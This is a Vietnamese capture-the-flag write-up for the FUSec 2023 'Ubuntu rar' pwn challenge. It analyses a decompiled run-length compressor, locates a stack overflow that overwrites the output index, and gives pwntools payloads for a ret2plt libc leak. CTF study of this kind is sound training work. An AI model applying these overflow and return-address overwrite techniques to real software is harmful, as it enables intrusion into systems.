🐥Ubuntu rar - FUSec 2023
Tôi nhận được vài thông tin sau về file:


Tôi nghĩ khả năng cao là Buffer Overflow

Sau khi chạy chương trình tôi thấy chương trình sẽ zip các số trùng nhau và liền kề nhau lại và đưa ra kích thước + vài thông tin đằng sau khác.

Analysis
main()
int main(int argc, const char **argv, const char **envp)
{
char s[240]; // [rsp+0h] [rbp-F0h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(s, 0, sizeof(s));
printf("Data: ");
read(0, s, 240uLL);
puts("Compressed data:");
compress_buffer(s);
return 0;
}
compress_buffer()
unsigned __int64 compress_buffer(char *buffer)
{
int idx; // eax
_BYTE output[248]; // [rsp+10h] [rbp-100h] BYREF
unsigned int o; // [rsp+108h] [rbp-8h]
unsigned int i; // [rsp+10Ch] [rbp-4h]
i = 0;
o = 0;
while ( i <= 239 )
{
idx = compress_single_byte(&buffer[i], &output[o], 0xF0 - i);
i += idx;
o += 2;
}
return hex_dump(output, o);
}
compress_single_byte()
__int64 compress_single_byte(char *s, _BYTE *output, unsigned int n)
{
unsigned int idx; // [rsp+20h] [rbp-4h]
idx = 1;
*output = *s;
do
{
if ( s[idx] != *s )
break;
++idx;
}
while ( idx < n );
output[1] = idx;
return idx;
}
hex_dump()
unsigned __int64 hex_dump(char *output, unsigned __int64 o)
{
unsigned __int64 result; // rax
char v3[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 j; // [rsp+30h] [rbp-10h]
unsigned __int64 i; // [rsp+38h] [rbp-8h]
v3[16] = 0;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= o )
break;
printf("%02X ", output[i]);
if ( output[i] <= 0x1Fu || output[i] > '~' )
v3[i & 0xF] = '.';
else
v3[i & 0xF] = output[i];
if ( ((i + 1) & 7) == 0 || o == i + 1 )
{
putchar(' ');
if ( ((i + 1) & 0xF) != 0 )
{
if ( o != i + 1 )
continue;
v3[(i + 1) & 0xF] = 0;
if ( ((i + 1) & 0xFu) <= 8uLL )
putchar(' ');
for ( j = (i + 1) & 0xF; j <= 15; ++j )
printf(" ");
}
printf("| %s \n", v3);
}
}
return result;
}
Chương trình còn 1 hàm to_byte() nữa nhưng sau khi đọc hết chương trình tôi thấy nó là hàm trơ :v
Nhìn vào thằng o
ở đây, chắc hẳn bạn cũng nhìn ra là nó bị overflow rồi :>>

Để mà o += 2
thì bạn phải hoàn thành việc thực thi hàm compress_single_byte
. Overview tiếp hàm compress_single_byte
. Thì bạn có thể thấy hàm này xử lí các kí tự trùng lặp, nó kết thúc khi gặp kí tự khác với kí tự liền trước và return về kích thước của chuỗi lặp đó.

Vậy nếu pây giờ tôi nhập như này "abababababab"
thì sao?

Rõ ràng là tôi nhập vào 13 kí tự nhưng nhận tới 27 kí tự ==> phần output[o] đã xảy ra overflow nếu tôi nhập "ab"*120
.
Exploit
Setup payload:
from pwn import *
elf = context.binary = ELF("./chall_patched")
r = elf.process()
libc = ELF("./libc-2.31.so")
# r = remote("34.87.29.214", 5002)
gdb.attach(r, '''
b* main + 172\n
b* hex_dump + 383 \n
b* compress_buffer + 78\n
b* main\n
c
''')
payload = b"ab" * 120
r.send(payload)
r.interactive()


Phần khoanh đỏ: Địa chỉ của
output
Phần khoanh vàng: Địa chỉ của
buffer
2 phần khoanh xanh: địa chỉ
return pointer
Tiến hành ghi đè:
Kết quả:

Nhìn trên kia bạn có thể hình dung đó giống như 1 câu lệnh hex $rsp
.Thì có thể thấy phần output của tôi đã bị ngắt quãng, và nó đã tiến hành ghi đè tiếp xuống dưới vào phần buffer ban đầu.
Vậy điều gì đã xảy ra?
Sau khi để ý kĩ hơn thì tôi thấy thằng o
đã bị ghi đè ---> sự thay đổi index ---> ghi đè không đúng ý muốn. Đó là lí do nó nhảy xuống dưới phần buffer và ghi đè tiếp.
Chỉnh 1 xíu ở payload:
puts_plt = 0x00000000004010a0
puts_got = 0x0000000000404020
main = 0x000000000040147c
payload = p64(puts_got) + p64(puts_plt) + p64(main)
# 24 bytes --> 22 bytes
payload += b"aabb"*33 + b"eefg"*15 + b"ab"
# 194 bytes --> 226 bytes
payload += b"\x06" + b"\xb3" * 0x15
# 22 bytes
r.send(payload)
r.interactive()
Chưa cần quan tâm 5 dòng đầu, hãy nhìn từ dòng thứ 6. Tôi đã chỉnh kích thước của payload này sao cho: dài 240 bytes buffer
và dài 248 bytes output
.

bytes thứ 249 chính là bytes ghi đè biến o, và tôi sẽ ghi đè nó thành index của ret pointer để ghi đè nên nó.


Biến o
bây giờ có giá trị là hex 0x106
== vị trí của <main+204>
Bây giờ tôi có thể return về một chỗ tùy ý. Do trên file elf có gadget quan trọng như pop rdi nhưng không các hàm system, sh
nên tôi sẽ phải dùng kĩ thuật ret2plt
mục đích để leak libc address sau đó dùng nó để khai thác.


Xử lí byte leak và rồi hãy làm tiếp tương tự như trên sau khi return về main 1 lần nữa.



QUOTE: Khi làm bài overflow, thì phải biết được là nó overflow chứ đừng cắm đầu vào over - Sifu
Last updated